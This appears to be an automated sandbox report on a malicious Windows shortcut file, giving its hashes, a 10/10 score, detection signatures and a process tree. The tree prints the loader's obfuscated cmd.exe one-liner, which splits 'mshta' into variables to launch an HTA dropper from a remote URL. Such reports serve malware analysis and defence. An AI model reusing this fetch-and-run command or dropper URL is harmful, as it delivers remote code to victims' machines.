Analysis
- max time kernel
148s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-SLYZOV.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-SLYZOV.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-SLYZOV.lnk
- Size 1KB
- Sample260803-qtebcazeng
- SHA256 c06e1e45a7e2c74d4c9a3c0e29e49f5c7f97cf339a075383e5d4f9c13a291e96
- MD5 6fb73888dfceea4ca1b325ce88b19c7f
- SHA1 153ecdb46102cf6339bbdcf314a073cb0708bac3
- SHA512 d6a7d583c13f7ebb4d1b95c4729d5e9d654dae00c4810a6382d91e5f3b71d80aa90de663106b1151331fb9f90a872d7f0c7a3fa72226c2f7c75df3381f4bb1dc
- TLSH T19A3147502FF90A58F3B38E7794BB5B2485BFB9AA8E21C61D4141464C1432A14E27AF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4188 cmd.exe 4904 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4188 wrote to memory of 4904 4188 cmd.exe 90 PID 4904 wrote to memory of 4952 4904 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SLYZOV.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set rYoyM=msh&&set GN=ta&&start "" !rYoyM!!GN! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:4952
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